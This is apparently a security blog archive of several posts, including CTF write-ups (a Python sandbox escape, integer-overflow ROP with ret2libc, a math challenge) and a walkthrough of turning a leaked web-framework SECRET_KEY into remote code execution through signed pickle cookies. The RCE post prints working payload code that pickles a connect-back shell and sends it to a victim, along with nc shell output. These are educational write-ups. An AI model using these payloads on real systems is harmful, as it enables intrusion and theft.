Analysis of nginx 1.3.9/1.4.0 stack buffer overflow and x64 exploitation (CVE-2013-2028)

A few days after the release of nginx advisory (CVE-2013-2028), we managed to successfully exploit the vulnerability with a full control over the program flow. However, in order to make it more reliable and useful in real world environment, we explored several program paths found some other attack vectors. Since the exploit for Nginx 32-bit is available on Metasploit now, we decide to publish some of our works here. In this post, you will find a quick analysis for the vulnerability and an exploitation for a 64-bit linux server using the stack based overflow attack vector.

 ... more of my post is available here (just too lazy to repost :))

Math is always useful (or write up of Nullcom prog400)

I bumped to an interesting programming challenge from Nullcom CTF (It's over now, but you can still login to see some challenges):

Given:
N = 80000000000000000
K = 5996159730031
M = 9828343043
Compute the Binomial Coeffcient C(N, K) modulo M.
Flag is the MD5 hash of the answer.

If you do not know Binomial Coefficient, no problem, first link on google, quite a number of formulas to compute C(N,K) there. If you do not want spoiler, stop reading and try first ;).

Now since N, K is pretty large, we need a formula that can compute as quickly as we can. All the formulas in the first wiki page such as i.e. recursive, multiplicative, factorial, are not practical. The recursive formula needs a large memory, and the other two requires some divisions which is not good since we can only perform modulo at the end and big number implementation is always very slow. And even if we can perform some trick to avoid the need of big number or big memory, computing up to O(K) is very slow. They does not look like a good solution (I will try it with CUDA on a free day later)

Digging further, I found an interesting theorem - the Lucas' theorem:

\binom{m}{n}\equiv\prod_{i=0}^k\binom{m_i}{n_i}\pmod p
where
m=m_kp^k+m_{k-1}p^{k-1}+\cdots +m_1p+m_0
and
n=n_kp^k+n_{k-1}p^{k-1}+\cdots +n_1p+n_0

Using this we do not need to perform any big number operation and the cost become something like O(\log{K}) . However we still have a problem. p in the formula must be a prime. Our M value is not,  9828343043= 99137 \times 99139 .

What can we do here ? Let X denote C(N,K), we can find X modulo 99137 and X modulo 99139 using the Lucas' Theorem. But how to find X modulo 99137 \times 99139  ? I quickly realized that this looks like a Chinese Remainder problem and it's actually a variance. Taking some time to review the problem leads me to a solution and It takes less than half a second to produce the flag: 06360772c0125391f19bd80d381afaac. Let's see if you get the same as mine ;).

Solving this problem reminds me the importance of Mathematics, especially number theory. Decided to take a look at this course on my free time.

P0wning IE 9 for the first time !!!

First control the eip, then find a rop sequence, find a shellcode, then spray the heap like never before, then wait for the luck to come, then change esp, then wait for virtualalloc, then call esp, then adjust back esp, then wait for the calculator !!!!! Not "simply done" at all, like the fking h3ll all the 31337 out there got 100000  ??? I spent my weekend just for this. Am I foolish ?

p0wn

p/s: I used an old bug ;) not 0day, do not let the image fool you. Oh and I did bypass alsr + dep ! tricks are always useful !

Python Web Framework Session Management: from LFR to RCE

Django, Bottle, Flask, .. you name it, are python web frameworks that require a SECRET_KEY in their configurable settings. The documents often recommend people to random their own values to use but I hardly find any text describing enough the dangerous when the secret key is guessed or leaked or hacked (local attack or local file read vulnerability in web application). Attacker can use the SECRET_KEY to fake some cookies, csrf token and then find a way to the admin tools .. but that's a lot of work!! "Simply", he can just use it to execute malicious code :) and I will talk about that in this blog post.

Remember the old day you found a bug in PHP that can read a arbitrary file in the webserver (not local file inclusion),... it could be frustrated for you to escalate it to a remote code execution (RCE)! You probably audit most of the application source to find other bugs or useful info such as user password or database information. In this aspect, can we say PHP is more secured ?

When attacking a python web framework, the attacker, knowing your SECRET_KEY from the source code can easily escalate the LFR attack to the RCE, this is at least true in the set of web frameworks that I had examined. The common problem is that they use pickle for serializing and unserializing the signed cookie.

Flask / Werkzeug ( by default, flash use werkzeug session API that's why we have it here. ): Flask implicitly calls session unserialization if the config['SECRET_KEY'] is set to some value and the session_cookie_name (default='session') exists in the cookie, even if there is no session handling code in the web app (how nice, attacker can create a backdoor by adding SECRET_KEY to the config file, and the naive user will just think of it as 'important').

The unserialize function from werkzeug library is called as follows:

     def unserialize(cls, string, secret_key):
        if isinstance(string, unicode):
            string = string.encode('utf-8', 'replace')
        try:
            base64_hash, data = string.split('?', 1)
        except (ValueError, IndexError):
            items = ()
        else:
            items = {}
            mac = hmac(secret_key, None, cls.hash_method)
            # -- snip ---
            try:
                client_hash = base64_hash.decode('base64')
            except Exception:
                items = client_hash = None
            if items is not None and safe_str_cmp(client_hash, mac.digest()):
                try:
                    for key, value in items.iteritems():
                        items[key] = cls.unquote(value)
                except UnquoteError:
                    # -- snip --
            else:
                items = ()
        return cls(items, secret_key, False)

The unserializer check the signature, then perform unquote() on cookie value if the signature is correct. unquote() looks very innocent but in fact it is pickle by default.

    #: the module used for serialization.  Unless overriden by subclasses
    #: the standard pickle module is used.
    serialization_method = pickle
    def unquote(cls, value):
        # -- snip --
            if cls.quote_base64:
                value = value.decode('base64')
            if cls.serialization_method is not None:
                value = cls.serialization_method.loads(value)
            return value
        # -- snip --

Bottle: There is no real secret key option from the default bottle, but one may want to encode his cookie by using the signed cookie feature. Let's see how the encode work:

    def get_cookie(self, key, default=None, secret=None):
        value = self.cookies.get(key)
        if secret and value:
            dec = cookie_decode(value, secret) # (key, value) tuple or None
            return dec[1] if dec and dec[0] == key else default
        return value or default

When secret is presented, and there is some value in the cookie, cookie_decode is called:

def cookie_decode(data, key):
    data = tob(data)
    if cookie_is_encoded(data):
        sig, msg = data.split(tob('?'), 1)
        if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg).digest())):
            return pickle.loads(base64.b64decode(msg))
    return None

Again, pickle is here !

Beaker Session: (any web service can use Beaker as Middle-ware for session, bottle is one that recommend)  Beaker.Session has many features and can be confused: ( there are 3 keys: secret_key, validate_key, encrypted_key )

  • encrypt_key: to encrypt the cookie data and either send back to client (session.type='cookie' / Cookie mode) or store in file (session.type='file' / File mode). If it does not set, the data will not be encrypted !(only base64 encoded). When encrypted_key is presented, the data will be encrypted using a combination of encrypted_key, validate_key(optional) and a random nonce using AES crypto.
  • validate_key: to sign the cookie when Cookie mode is used and to encrypt the data (as mentioned)
  • secret: to sign the cookie when File mode is used. (Why don't they just use the validate_key ? I have no idea )

Of course, when one can read file, he knows all those keys. However, File mode makes it impossible to attack because we have no control on the serialized data i.e. they are stored in local disk. In Cookie mode, it works, even if the cookie is encrypted (since we know how to encrypt lol). You may ask about the random nonce ? luckily, the nonce is part of the session data (!), hence we can fix it with any value we want.

Here is the code that they use to create the session data ( to send back or store as file):

    def _encrypt_data(self, session_data=None):
        """Serialize, encipher, and base64 the session dict"""
        session_data = session_data or self.copy()
        if self.encrypt_key:
            nonce = b64encode(os.urandom(6))[:8]
            encrypt_key = crypto.generateCryptoKeys(self.encrypt_key,
                                             self.validate_key + nonce, 1)
            data = util.pickle.dumps(session_data, 2)
            return nonce + b64encode(crypto.aesEncrypt(data, encrypt_key))
        else:
            data = util.pickle.dumps(session_data, 2)
            return b64encode(data)

We clearly see that the data is pickled here.

Django: The most well-known and sophisticated web framework in Python. And yes, they did a fairly nice job putting up a warning. IMO, it should be marked as 'critical' or 'caution' and in 'red'.

How does django session work ? We can easily find a comprehensive documentation:  To sum up, django gives 3 settings for sessions: db, file and signed_cookie. Again, we are only interested in signed_cookie because we can easily tamper the data. If SESSION_ENGINE is set to "django.contrib.sessions.backends.signed_cookies", we should confirm signed_cookie is used.

Interestingly, the session data will always be unserialized if we supply a "sessionid" in request cookie. Django also gives a very nice example on how the cookie is signed in their code. This makes our job even easier.

Our attack
We have not discussed about how we attack (some of you may have already known it)! But thanks for the patience ! I write about it lastly since it's the same principle for all cases and very simple (yes! given some knowledge).

Here again, we can read any file. To find the config file is not that difficult because python app tends to import from here and there. When we obtain the secret key, we can simply implement (or re-use) the cookie signing procedure of that web framework and sign our malicious code. Because they use pickle.loads() when unserializing, our malicious payload should be the result of pickle.dumps().

pickle.dumps() and loads() is often safe when playing with data such as string, integer, array, hash, dict... But not when it was used on a certain special crafted object ! In fact, one can execute any python code he wants. I write a nice piece of code to convert a working python code to pickle payload. We shall read the code from connback.py (which is a "connect back" shell) and pickle it. If one execute pickle.loads(payload) our connect back shell will be executed.

code = b64(open('connback.py').read())
class ex(object):
    def __reduce__(self):
        return ( eval, ('str(eval(compile("%s".decode("base64"),"q","exec"))).strip("None")'%(code),) )
payload = pickle.dumps(ex())

Now sign (for flask web app):

def send_flask(key, payload):
    data = 'id='+b64(payload)
    mac = b64(hmac(key, '|'+data, hashlib.sha1).digest())
    s = '%(sig)s?%(data)s' % {'sig':mac, 'data':data}

and send it

print requests.get('http://victim/', cookies={'session':s})

In another console:

danghvu@thebeast:~$ nc -lvvv 1337
Connection from x.x.x.x port 1337 [tcp/*] accepted
!P0Wn! Congratulation !!
sh: no job control in this shell
sh-4.1$

What else ?
- So what ? I am safe as long as my secret key is safe ! OK, good for you... but that's like saying, "I leave my key on the roof because I know you can't climb there..."
- OK, so If I do not use this type of session cookie, I will be safe ! This is true, for small app it's much nicer to put the session data in file (in database also a risk if one can tamper it, heard about sql injection ?). But for bigger app with distributed storage, this may violate the "shared nothing architecture" or reduce the performance.
- Then how ? Maybe ask the framework not to use pickle but use a different type of serialization that doesn't allow code execution ? I don't know if one exists, but it is nice if it does. PHP is again more secure? their unserialize() and serialize() does not have this problem. (oh wait..)

Last thing:
WebPy: I check their web for session, and this is what I found:
CookieHandler - DANGEROUS, UNSECURE, EXPERIMENTAL

So good job :D, maybe everyone should do this as well. I do not try further, maybe you can try with webpy and others ;).

Here is what I did, PoC only, so make some effort if you want it to work for you ;)
As a gift, this web app is a vulnerable one, let's see if you can find the lfr bug and escalate it to rce, then you will find your real gift, the flag :).

Update: The source code for the vulnerable web app is now included in github, the secret key is not the same as what is running though.

Update: List of people who have found my "gift": moritz_schlarbexecutex ( server is off for security reason :) )
(If you want your name here, please comment with a proof that you have got it)

Runner Up :)

Runner Up !

:) 'w00d'[::-1]

Tasks

Yes I captured most of the flag ;] and then happily raise our Flag too ;). Need some more binary-workout though.

Apache Logging the POST data

I have been using Mod DumpIO to log the POST data of a HTTP request. However, DumpIO also logs other metadata and debug info that I can't find a way to get rid of. I tried mod_security, but It's too heavy and I do not need a lot of feature. In the end, I decided to write my own apache module.

I call it Mod DumPost . It does only one job, log the POST request and the Form data request (stuff like file upload) to the error log file (why ? because I have not yet figured out how to redirect it to access log :( )

I'm having some CTF-style challenges in my server ;) so It's really handy to see how people are solving it. You can freely use it, if it breaks, let me know.

CTF Snatching The H@T 2012

This morning (4/12/2012), 14 'hacker' teams had gathered at the New World Hotel in Ho Chi Minh city, Vietnam for the final round of the Capture The Flag contest "Snatching The H@T".

The champion is as expected: team "DroppingTheHat" which actually consists of 4 junior members of CLGT team. I know everyone of them, all are young and very talented.
The runner up is the team PiggyBird from Ha Noi, which had played extremely well on all binary challenges, just a bit of practicing on the web technology and they are a team to beat.
The 3rd is again a young member of CLGT, he plays alone and did a really good job.

Despite a small problem at the beginning leading to a delay, the whole event ran smoothly (as reported). It's a pity that I was not there, It must be very fun to watch. Congratulation to all teams, I hope you have learned something from it, see your stronger next year !

A big cheer to the organizer, friends behind the scene, who has helped make it a great event. (a tiny cheer for me ;) too). Sleep well tonight, we will be fighting again very soon..

Hacklu CTF 2012 - The Sandbox Terminal Writeup

This is the writeup I made for a 400 point challenge at @Hacklu-CTF 2012 with clgt team. In the end, we ended up at 5th position. It would have been better if we didn't make a mistake in one challenge and made it unsolvable.

Since the zombie apocalypse started people did not stop to ask themselves how the whole thing began. An abandoned military base may lead to answers but after infiltrating the facility you find yourself in front of a solid steel door with a computer attached. Luckily this terminal seems to connect to a Python service on a remote server to reduce load on the small computer. While your team managed to steal the source, they need your Python expertise to hack this service and get the masterkey which should be stored in a file called key.

https://ctf.fluxfingers.net:2076/c7238e81667a085963829e452223b47b/sandbox.py

==========================================================================

Solved by w00d @ clgt
Thanks g4mm4 for giving many suggestions and draft the first version of the exploit
==========================================================================

In this ctf, I bumped into a few python challenges. Though having been using it for a while, I'm still a novice and pretty much ill-prepared, It took me a lot of time to read articles about python security. There are many interesting ones which I might write in a separate blog, however they do not help me much to solve this challenge, the only thing they help is to keep me motivated.

The python program consists of two parts:

- First part is the Detangle class which basically make a "sandbox" environment:

  1. you can not import anything.
  2. you can neither use "open" nor "file" command.
  3. It prints some nice debug information about what python command is executed and their arguments.

- Second part allows you to input 3 params: num1, num2 and operator. There are two regular expressions to check your input:

num_pattern = re.compile(r'^[\d]{0,4}$')
operator_pattern = re.compile(r'^[\W]+$')
...
if not num_pattern.match(num1) or not num_pattern.match(num2):
   raise SystemExit('Number rejected')
if not operator_pattern.match(operator) or len(operator) > 1900:
   raise SystemExit('Operator rejected')
  1. num1, num2 should only be number, 4 digits at most.
  2. operator should not contain any alphanumeric characters and its length must be at most 1900.

These input will be fed into some eval command as follow:

operator = eval(operator) if "'" in operator else operator
print(eval(num1 + operator + num2))

For example, you can input "1" , "2" , "+". The program will return "3", simple as that.

Obviously, if someone tells you to exploit this program, first is to look at "eval" (i.e. "evil") and try to exploit that. But it's a difficult task because you can't bypass the two regular expressions and input any python code, recall that you can only input number or non-alphanumberic character.

I tried several attempts and failed including some silly: trying to write a valid python code using unicode character, trying to overflow eval, trying to exploit Detangle, find a 0-day/1-day of re.match, ..
But failures teach you some lessons. I noticed that "operator" is eval-ed twice. That means after the first eval, we may be able to convert some non-alphanumberic character into python code and get it executed on the next one.

I started with this gadget: s = "(''=='')+(''=='')". Run eval(s) in a python terminal will return you number "2". Using this gadget/similar kind we typically can create any number. Progress: 25% !

Now what about character ? It turned out that I can use backstick : ` ` as repr() which can give me some string that contains alpha-character, such as : `(''=='')` => "True", `(''=='')` => "False", moreover I can access each single character using square bracket : `(''=='')`[1] => 'r', or even better `'\xaa'`[3] => 'a'. We now can create any of these: 'abcdefxTruFls'. Progress: 50% !

I stop looking at gadget, and start looking at how to bypass the Detangle class. It's not hard as it look, though we can't use "open" or "file" to open a file, can't import anything, we can still use the built-in "execfile". It does not allow us to run abitrary command but we can leaks some info about the content of a file like this:

>>> execfile("/etc/passwd")
Traceback (most recent call last):
File "", line 1, in
File "/etc/passwd", line 1
root:x:0:0:root:/root:/bin/bash
^
SyntaxError: invalid syntax

Progress: 75% !!!!! ** so excited **

I need to read the file 'key' which makes the payload: "+execfile('key')+". As you can see, It contains "k","y","i" that is not in my "magic" list. Luckily the force is with me, 5 minutes after seeing this problem, I come up with this awesome gadget: "%c"%(107) => "k". Any character can be generated using this gadget, however producing the number 107 can consume a lot of characters if done naively.

The last thing is to make the payload as short as possible because the operator length is limited at 1900. Putting everything together, I am able to produce a 1650-bytes payload, far smaller than the limit! Now see how it work:

nc exploit.py | nc ctf.fluxfingers.net 2060
...
Traceback (most recent call last):
File "./sandbox.py", line 77, in
print(eval(num1 + operator + num2))
File "./sandbox.py", line 45, in __call__
result = self.orig(*args, **kwargs)
File "", line 1, in
File "./sandbox.py", line 45, in __call__
result = self.orig(*args, **kwargs)
File "key", line 1, in
dafuq_how_did_you_solve_this_nonalpha_thingy
NameError: name 'dafuq_how_did_you_solve_this_nonalpha_thingy' is not defined

Mission accomplished ! Beer time =]
Exploit: http://ex.wargame.vn:8080/hacklu/sandbox/exp.py

How I turn an integer overflow into a shell

My friend sent a challenge to me and this time It's a binary. I'm very excited because I have always wanted to polish my binary exploitation skill.
The challenge is now online at click here

Let's download the binary and run it locally:

./thanden
Welcome back baby, let me take you to heaven .... So...
Give me your name ?:
HELLOWORLD
You have 3 wishes?
1. :AAA
2. :BBB
3. :CCC
Oh no, i feel tired.... :(. Just one wish now..
Give your wish now? 1 or 2 or 3?
1
Nono , you just a kid, go to home ...

Ok, my instinct told me that maybe there is a bug in the buffer to store the name and wishes. So I tried this immediately:

perl -e "print 'A'x10000" | ./thanden
Welcome back baby, let me take you to heaven .... So...
Give me your name ?:
You have 3 wishes?
1. :2. :3. :Oh no, i feel tired.... :(. Just one wish now..
Give your wish now? 1 or 2 or 3?
Nono , you just a kid, go to home ...

Nothing interesting happens, so my first guess is wrong :(. Now it's the time to look at the source.

char name[80];
..snip..
fgets(name,80,stdin);

Ok name and wishes are defined correctly and use fgets with the correct number of bytes, so there is nothing we can do. Continue looking further:

int num;
..snip..
if(num > 3){
        printf("Hm, kidding me, get out....\n");
        fflush(stdout);
        exit(0);
    }
int (*func)(void) = (int(*)(void))s[num].vfuck;
func();

Ok.. variable "num" can be negative, and if that's the case, the comparison will return false and s[num] will access some unexpected memory. Let's try:

Oh no, i feel tired.... :(. Just one wish now..
Give your wish now? 1 or 2 or 3?
-1
Segmentation fault

Bingo ! when you saw "Segmentation fault" you know you are going in the right direction, it's a memory corruption. But we need to understand what causes that, time to bring up my favorite debugger `gdb`.
Let's see what happens at the level of assembly code.

Give your wish now? 1 or 2 or 3?
-1
Program received signal SIGSEGV, Segmentation fault.
0x0000088e in ?? ()
(gdb) where
#0  0x0000088e in ?? ()
#1  0x08048779 in main ()
(gdb) disas main
..snip..
   0x0804876d :	mov    eax,DWORD PTR [eax]
   0x0804876f :	mov    DWORD PTR [esp+0x78],eax
   0x08048773 :	mov    eax,DWORD PTR [esp+0x78]
   0x08048777 :	call   eax
   0x08048779 :	mov    edx,DWORD PTR [esp+0xcc]
...

So the program stop at 0x08048779, which is after the "call eax" instruction. Let's break there and see what happens:

(gdb) break *0x08048777
Breakpoint 1 at 0x8048777
(gdb) r
..snip..
Give your wish now? 1 or 2 or 3?
-1

Breakpoint 1, 0x08048777 in main ()
(gdb) info reg
eax            0x88e	2190
...

We somehow make $eax point to a memory that we are not allowed to access i.e. 0x0000088e and "call $eax" failed to jump to that memory location. Let's see if we can control the result of eax. We break at 0x0804876d because the content of $eax is copied from there.

Give your wish now? 1 or 2 or 3?
-1

Breakpoint 2, 0x0804876d in main ()
(gdb) info reg $eax
eax            0xbffff624	-1073744348

What if we tried -2:

Give your wish now? 1 or 2 or 3?
-2
(gdb) info reg $eax
eax            0xbffff60c	-1073744372

Interesting isn't it? 0xbffff624 - 0xbffff60c = 0x18 = 24. What is 24 ? A quick guess: It's 20 bytes of the array s[num].a and 4 bytes of s[num].vfuck. But it's not important, we know that we can decrease the memory pointed by $eax by 24 * [input], and thus we can control what to be called by pointing $eax to a memory location that we want.

It turns out that we not only can decrease the location pointed by $eax but also can increase it by supplying a very small negative integer. By supplying -178956968, we are able to move the stack address that contains our input (name/wishes) to $eax and thus, we can fully control the program flow. How to obtain the number "-178956968", I will leave it for you as an exercise.

Let's continue to fk this binary.

Welcome back baby, let me take you to heaven .... So...
Give me your name ?:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
You have 3 wishes?
1. :BBBB
2. :CCCC
3. :DDDD
Oh no, i feel tired.... :(. Just one wish now..
Give your wish now? 1 or 2 or 3?
-178956968

Breakpoint 2, 0x0804876d in main ()
(gdb) x/20x $eax
0xbffff67c:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff68c:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff69c:	0x41414141	0x0a414141	0x08048400	0x08049ff4
0xbffff6ac:	0x080487c1	0xb7fcc324	0xb7fcbff4	0x080487a0
0xbffff6bc:	0xbffff6d8	0xb7ea54a5	0xb7ff1030	0x080487a9
(gdb) c
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

As you see, 0x41414141 is the hex of "AAAA" that we supply in the name, and by asking gdb to continue we confirm that we have controlled the eip register. However it's far from over... The binary comes with a non-executable stack, and no where in the program is available for us to write and execute. You can confirm this by running "readelf -S thanden"

These information removes the chance of jumping into a shellcode. The remaining options are return-to-libc and return-oriented-programming. The idea behind return-exploit is simple: we try to make the $eip point to an available location in the program (like text / libc) which contains the instruction "ret". This instruction will jump to the address that is at the top of the stack and thus we can continue the execution. The address can be the libc address of system / execv so that we can spawn a shell.

But there are still 2 challenges:
1) The top of the stack during crash is not our input, thus we can't control where the "ret" will jump to.
2) The server has the Address Space Layout Randomization (ASLR) flag, so the address of libc function is not fixed, we can't simply obtain the address based on our machine even if we run it on the same operating system.

To tackle number (1): We first need to adjust the stack so that it moves up to our input. I used ropshell.com and after searching a bit I found a perfect chain:

0x80487f9 : add esp 0x1c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret ;;

Using this chain I can move the esp up to the input where I can control. So the payload is something like this: [0x80487f9][XXX...XXX]-178956968. After call $eax, the program shall execute the chain which move the top of the stack to somewhere in [XXX...XXX], and after that "ret" will jump to the address in that location. After some experiment, It's easy to confirm which location in [XXX...XXX] we can store our next address to jump.

To tackle number (2): We need to somehow leak the address of system / execv. There is one interesting fact, although the address is random at runtime, the offset between function in libc remains the same. Thus, if we somehow can leak the address of any function in libc, we can calculate the other function easily. Of course, this program uses a few libc functions such as puts, printf, exit etc.. and the address of these functions are written into GOT. I choose to leak "puts" which has the address stored in 0x804a010. Here is how I obtain that address:

(gdb) disas main
..snip..
0x0804860c :	call   0x8048490
..snip
(gdb) disas 0x8048490
Dump of assembler code for function puts@plt:
   0x08048490 :	jmp    DWORD PTR ds:0x804a010
   0x08048496 :	push   0x20
   0x0804849b :	jmp    0x8048440

My plan is to return to 0x0804860c, after making the top of the stack store the value 0x804a010, so the program will call puts and print the address of itself.
So the payload is : [0x80487f9][...][0x0804860c][0x804a010][...]-178956968

Well, by returning back to the beginning of the program give me another advantage. I can make use of the address I leaked in the previous step to calculate the address of system and trigger the bug again to return to it. The final exploitation has the flow as below:

  1. Send [0x80487f9][...][0x0804860c][0x804a010]-178956968
  2. Read the leaked bytes which is the address of puts
  3. Calculate the address of system based on the address of puts
  4. Send [0x80487f9][...][address_of_system][address_of_exit][address_of_string'sh'][...]-178956968

I have not specified how to find address of system from address of puts as well as why we need address of exit and 'sh'. You may want to research further by yourself :). Following links may help:
- http://css.csail.mit.edu/6.858/2012/readings/return-to-libc.pdf
- http://trailofbits.files.wordpress.com/2010/04/practical-rop.pdf

Thanks xichzo and suto for making this challange. I won't release the exploit so It will not spoil your fun. Here is how it looks when I run my exploit:

python exploit_easy.py
[+] Puts@LIBC address:  0xb76a5cc0
[+] Try sending a command
[+] Success ! Get this result: uid=5011(thanden) gid=5011(thanden)

> ls -al
total 40
drwxr-xr-x 3 thanden thanden 4096 2012-09-04 10:11 .
drwxr-x--x 9 root    root    4096 2012-09-03 12:13 ..
lrwxrwxrwx 1 root    root       9 2012-09-03 13:03 .bash_history -> /dev/null
-rw-r--r-- 1 thanden thanden  220 2010-04-19 03:51 .bash_logout
-rw-r--r-- 1 thanden thanden 3103 2010-04-19 03:51 .bashrc
-rwx------ 1 thanden thanden   41 2012-09-03 12:16 key.txt
-rw-r--r-- 1 thanden thanden  675 2012-09-03 13:04 .profile
-rwx------ 1 thanden thanden 7539 2012-09-03 12:14 thanden
-rwx------ 1 thanden thanden   37 2012-09-03 13:26 .wrapper
drwx--x--x 2 root    root    4096 2012-09-04 13:20 www

> exit
[*] Bye.

Python Http Persistent Connection

I have just p0wned the Stripe-CTF for a T-Shirt. It's pretty fun and I learnt something new from the last level...

For that I need to brute force using http request. And that's pretty slow (my first solution is slow) so I tried to improve it using http persistent connection. It finally boosted the speed 2-3 times. The trick is to use httplib2:

 import httplib2, urllib
 h = httplib2.Http()
 resp, content = h.request("https://XXX","POST",body=urllib.urlencode(data),headers={"Connection":"Keep-Alive"})

I don't know why urllib2 and httplib hasn't supported this persistent http. They should, it's very useful for applications that requires speed (such as this =)